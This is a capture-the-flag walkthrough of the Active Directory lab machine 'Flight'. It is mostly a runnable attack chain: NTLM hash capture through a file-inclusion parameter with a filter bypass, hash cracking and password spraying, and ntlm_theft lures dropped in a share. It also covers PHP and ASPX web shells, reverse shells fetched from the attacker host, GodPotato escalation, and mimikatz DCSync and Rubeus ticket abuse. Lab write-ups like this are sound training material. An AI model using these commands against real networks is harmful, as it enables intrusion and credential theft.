Overview
Flight is a hard Active Directory machine that demonstrates how a vulnerable virtual host can be abused to capture NTLMv2 hashes, leading to password reuse, SMB share abuse, internal IIS access, and eventual privilege escalation through SeImpersonatePrivilege.
Attack Chain
- Enumerate exposed Active Directory services and identify the domain
flight.htb - Discover the
school.flight.htbvirtual host withffuf - Abuse the
viewparameter to trigger outbound SMB authentication - Capture and crack the
svc_apacheNTLMv2hash - Password spray the recovered password and identify reuse by
S.Moon - Abuse write access to the
SharedSMB share withntlm_theft - Capture and crack the
c.bumNTLMv2hash - Upload a PHP web shell to the writable
Webshare - Gain a shell as
svc_apache - Use
RunasCswithc.bumcredentials for lateral movement - Pivot to the internal IIS site over
ligolo - Upload an ASPX reverse shell and gain access as
iis apppool - Abuse
SeImpersonatePrivilegewithGodPotato - Gain
NT AUTHORITY\SYSTEMand perform DCSync
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify the exposed services.
export IP=10.129.228.120; export NAME=FLIGHT; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v
The open TCP ports are:
53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,59260

Findings
The scan results show a typical Active Directory attack surface. DNS (53), Kerberos (88), RPC (135), SMB (139, 445), LDAP (389, 636), and the Global Catalog ports 3268 and 3269 are exposed. The domain is identified as flight.htb, so it is added to /etc/hosts for name resolution.
echo "$IP flight.htb" | sudo tee -a /etc/hosts
Web Enumeration
Main Website
Browsing to the web server on port 80 shows a basic flight booking page.

Since the scan revealed the domain flight.htb, the next step is to fuzz for virtual hosts.
ffuf -u http://flight.htb -c -ic -H "HOST: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fs 7069,300-600
The scan identifies one additional virtual host: school.flight.htb.

echo "$IP school.flight.htb" | sudo tee -a /etc/hosts
school.flight.htb
The school.flight.htb site appears to be a blog.

When browsing between pages, the application uses a view parameter to load content.
http://school.flight.htb/index.php?view=home.html
Because this is a PHP page loading files through a parameter, it is worth testing whether it can request external resources.
Start a Python web server and request a file from the attacking machine through the view parameter:
http://school.flight.htb/index.php?view=http://10.10.14.89/test

The request reaches the Python web server, confirming that the application can make outbound requests.

Attempts to use PHP web shells and reverse shells did not work, so the next idea is to force the server to authenticate to an SMB share and capture a hash.
Foothold
NTLM Capture via File Inclusion
First, an SMB server can be started manually:
python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/mrbeetroot/Shares
Alternatively, Responder can be used to listen for authentication attempts:
sudo responder -I tun0 -A
The first attempt uses backslashes in the UNC path:
http://school.flight.htb/index.php?view=\\10.10.14.89\share\test
The application blocks this request and returns a suspicious activity warning.

Replacing the backslashes with forward slashes bypasses this filtering and triggers an outbound authentication attempt.
http://school.flight.htb/index.php?view=//10.10.14.89/share/test
This captures a hash for svc_apache.

Responder confirms the captured NTLMv2 authentication attempt.

The hash is saved to a file for cracking.

Cracking svc_apache
The hash can be cracked with john:
john --wordlist=/usr/share/wordlists/rockyou.txt creds/svc_apache_NTLMv2.hash

It can also be cracked with hashcat using mode 5600 for NetNTLMv2.
hashcat -m 5600 creds/svc_apache_NTLMv2.hash /usr/share/wordlists/rockyou.txt

The recovered credentials are:
svc_apache:S@Ss!K@*t13
SMB Enumeration as svc_apache
Using the recovered credentials, SMB shares are enumerated with netexec.
nxc smb $IP -u 'svc_apache' -p 'S@Ss!K@*t13' --shares
The account has read access to Shared, Users, and Web, but initial enumeration does not reveal anything useful.

Although svc_apache does not provide an interactive shell, it can enumerate domain users.
nxc smb $IP -u 'svc_apache' -p 'S@Ss!K@*t13' --users
This returns a list of users on the target.

The users are saved to a file for password spraying.

Password Reuse
With a valid password and a user list, we perform a password spray.
nxc smb $IP -u creds/users_potential.txt -p 'S@Ss!K@*t13' --continue-on-success
The spray reveals that S.Moon is using the same password.

The new credentials are:
S.Moon:S@Ss!K@*t13
Reviewing the earlier user enumeration shows that S.Moon is a junior web developer, making web or share access worth investigating further.

The account still does not provide an interactive shell, so SMB access is checked again.
nxc smb $IP -u 's.moon' -p 'S@Ss!K@*t13' --shares
This time, S.Moon has write access to the Shared share.

Capturing c.bum with ntlm_theft
Write access to a shared folder suggests that other users may interact with files placed there. To abuse this, ntlm_theft is used to generate files that trigger authentication back to the attacker machine.
https://github.com/Greenwolf/ntlm_theft
python3 ~/Tools/ntlm_theft/ntlm_theft.py -g all -s 10.10.14.89 -f ReviewDoc

Start Responder again:
sudo responder -I tun0 -A
Then connect to the Shared share as S.Moon.
smbclient //$IP/Shared -U s.moon
put desktop.ini
The .lnk file fails with access denied, but desktop.ini uploads successfully.

After waiting, Responder captures an NTLMv2 hash for c.bum.

The hash is saved locally.

Crack the hash with john:
john --wordlist=/usr/share/wordlists/rockyou.txt c_bum_NTLMv2.hash

The recovered credentials are:
c.bum:Tikkycoll_431012284
Web Share Access
The c.bum account still does not allow an interactive shell, but SMB shares are checked again.
nxc smb $IP -u 'c.bum' -p 'Tikkycoll_431012284' --shares
This account has write access to the Web share.

Connect to the Web share as c.bum:
smbclient //$IP/Web -U c.bum
Since school.flight.htb runs PHP, a wwwolf-php-webshell is uploaded into the web directory.

A cleanup script appears to remove or block the original webshell.php, so the same shell is uploaded under a different name and used quickly.

A rcat reverse shell is transferred through the web shell.
certutil.exe -urlcache -f http://10.10.14.89/rcat.exe c:/windows/tasks/rcat_10.10.14.89_443.exe

After starting a listener, the reverse shell payload is executed.

This gives a shell as svc_apache.

Lateral Movement
Shell as c.bum
Because we already have the c.bum password, RunasCs can be used to spawn a shell as that user.
Transfer the rcat reverse shell payload:
iwr -uri http://10.10.14.89/rcat.exe -o ./rcat_10.10.14.89_445.exe
Transfer RunasCs.exe:
iwr -uri http://10.10.14.89/RunasCs.exe -o ./RunasCs.exe
Both files transfer successfully.

The required files are now in C:\Users\Public.

Start a listener on port 445, then execute rcat with RunasCs as c.bum.
.\RunasCs.exe c.bum Tikkycoll_431012284 "cmd /c c:\users\public\rcat_10.10.14.89_445.exe"
This returns a shell as c.bum.

The user flag can now be read.
type C:\Users\c.bum\Desktop\user.txt

Privilege Escalation
Internal Service Enumeration
From the c.bum shell, local TCP ports are reviewed.
netstat -ano -p tcp
Port 8000 is listening locally, but it is not reachable directly from the attacking machine.

The root of C:\ also contains inetpub, suggesting there is an IIS site in addition to the externally visible xampp web server.
Ligolo Localhost Pivot
To access the internal web service, a ligolo tunnel is created.
sudo ip tuntap add user mrbeetroot mode tun ligolo
sudo ip link set ligolo up
Add a route for localhost access through the tunnel.
sudo ip route add 240.0.0.1/32 dev ligolo

Start the proxy on the attacking machine:
./proxy -selfcert
Connect back from the target:
.\agent.exe -connect 10.10.14.89:11601 -ignore-cert

Back on the attacking machine, select the session and start the tunnel.

Browsing to http://240.0.0.1:8000 reveals a different internal version of the Flight website.

IIS Write Permissions
A second c.bum shell is established using RunasCs and rcat. The goal is to determine whether the internal IIS web root is writable.
Recursively review permissions under inetpub:
icacls c:\inetpub\ /t /c > cbum_perms.txt

Filter the output for c.bum:
Select-String -path cbum_perms.txt -pattern "c.bum"
The output shows that c.bum has write permissions in c:\inetpub\development.

Confirm the folder permissions directly:
icacls c:\inetpub\development

To validate the path, create a test file in c:\inetpub\development.

Browsing to the internal site confirms that the file is served successfully.
http://240.0.0.1/test.txt

ASPX Web Shell
Because the internal site is hosted on IIS, an ASPX web shell is uploaded.

The web shell works through the browser over the ligolo tunnel.

IIS application pool accounts commonly have SeImpersonatePrivilege, so privileges are checked.

The uploaded cmdasp.aspx file is removed after a few minutes, so an ASPX reverse shell is generated with msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.89 LPORT=443 -f aspx -o rev443.aspx
Transfer the payload to the target.

Execute the payload through the browser.

A shell is caught on port 443 as the IIS application pool account.

Confirm that SeImpersonatePrivilege is enabled.

The system information shows the host is running Windows Server 2019.

GodPotato to SYSTEM
Since the host is Windows Server 2019 and SeImpersonatePrivilege is enabled, GodPotato is a suitable escalation path.
Transfer GodPotato:
powershell -c iwr -uri http://10.10.14.89/GodPotato-NET4.exe -o ./GodPotato.exe

Test command execution as NT AUTHORITY\SYSTEM:
.\GodPotato.exe -cmd "cmd /c whoami"
The command executes as nt authority\system.

Start a listener and use GodPotato to execute the existing rcat payload.
.\GodPotato.exe -cmd "c:\users\public\rcat_10.10.14.89_443.exe"

This returns a shell as NT AUTHORITY\SYSTEM.

The root flag can now be read.
type C:\Users\Administrator\Desktop\root.txt

DCSync
With SYSTEM access on the domain controller, a DCSync attack can be performed with mimikatz to retrieve the Administrator hash.
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::dcsync /domain:flight.htb /user:Administrator" "exit"
The Administrator hash is recovered.

Testing the hash with netexec confirms full domain control.
nxc smb $IP -u 'Administrator' -H '43bbfc530bab76141b12c8446e30c17c'

Alternative Privilege Escalation
Machine Account Authentication
There is another path from the IIS application pool context.

The account appears as iis apppool\defaultapppool without the flight.htb domain prefix. This indicates it is a local virtual account rather than a domain user.
To test how it authenticates over the network, request a share on the attacking machine:
\\10.10.14.89\share\test

On the attacking machine, the captured authentication appears without a username and uses the hostname, confirming that it authenticates as the machine account.

Delegation TGT with Rubeus
Rubeus is transferred to the target and used to request a delegation TGT.
.\Rubeus.exe tgtdeleg /nowrap

The base64 ticket output is saved to a file on the attacking machine and decoded into a .kirbi file.
cat ticket.kirbi.b64 | base64 -d > ticket.kirbi

Alternatively, RubeusToCcache can convert the base64 output directly into both .kirbi and .ccache formats.
python3 ~/Tools/RubeusToCcache/rubeustoccache.py "base64_string" ticket.kirbi ticket.ccache

Export the Kerberos cache:
export KRB5CCNAME=ticket.ccache
Because Kerberos is time-sensitive, sync the attacking machine clock with the target.
sudo ntpdate -d flight.htb
sudo ntpdate -s flight.htb
Then run secretsdump using Kerberos authentication.
impacket-secretsdump -k -no-pass g0.flight.htb
Key Takeaways
Flight shows how a small web issue can become a full Active Directory compromise when combined with forced SMB authentication and password reuse. The path is not a single direct exploit, but a chain of careful enumeration: capturing hashes, identifying writable shares, abusing user interaction, pivoting to an internal IIS site, and finally using SeImpersonatePrivilege to reach SYSTEM. It also highlights why outbound SMB authentication and overly permissive shares can be dangerous in Windows environments.